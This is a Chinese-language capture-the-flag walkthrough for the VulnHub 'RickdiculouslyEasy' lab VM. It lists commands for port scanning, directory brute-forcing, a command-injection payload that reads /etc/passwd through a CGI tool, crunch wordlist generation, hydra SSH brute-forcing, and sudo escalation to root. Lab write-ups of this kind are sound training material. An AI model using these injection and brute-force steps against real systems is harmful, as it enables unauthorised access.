虚拟机下载地址:https://www.vulnhub.com/entry/rickdiculouslyeasy-1,207/
虚拟机简介:这是一个非常简单的 Rick and Morty 主题引导
目标:10个flag
级别:中级
1、信息收集
arp-scan 192.168.124.0/24
nmap -A -sS -sV -v -p- 192.168.124.5
查看开放如下端口,并且21端口允许匿名登录,在13337端口中获取到第一个flag
ftp 192.168.124.5
nc 192.168.124.5 60000
cat FLAG.txt
查看该端口信息,获取到第三个flag
未发现有用信息
dirb http://192.168.124.5
发现有目录和robots文件
访问FLAG.txt文件,获取到第四个flag
访问passwords.html页面中,查看网页源代码获取到密码
测试在tracertool.cgi中可以执行命令
测试可以绕过命令执行
;less /etc/passwd
发现标红的三个账号是有登录权限
使用Summer作为账号,winter作为密码可成功登录主机
ssh [email protected] -p 22222
使用more进行查看获取到flag
在Morty目录中发现存在2个文件
在RickSanchez目录中发现一个可执行文件和TXT文件
复制Morty目录文件到本地
scp -P 22222 [email protected]:/home/Morty/journal.txt.zip .
scp -P 22222 [email protected]:/home/Morty/Safe_Password.jpg .
查看图片中包含的字符串内容,提示密码为:Meeseek
strings Safe_Password.jpg
解压zip文件,获取到flag信息,并提示flag内容为131333
unzip journal.txt.zip
cat journal.txt
复制RICKS_SAFE目录中的safe文件到tmp目录中
cp safe /tmp/
./safe
./safe 131333
根据提示需要传入一串内容,尝试使用获取到的上个131333内容,获取到flag信息。
根据上面密码提示信息:有一个是大写的字母、一个数字、还有一个单词为为Rich喜欢的乐队名字
根据搜索获取到Rich乐队名称为the flesh curtains
使用crunch生成密码
crunch 10 10 -t ,%Curtains -O >> dict.txt
crunch 7 7 -t ,%Flesh -O >> dict.txt
使用hydra进行爆破
hydra -l RickSanchez -P dict.txt 192.168.124.5 ssh -s 22222
su - RickSanchez
sudo -l
sudo su
cd /root
more FLAG.txt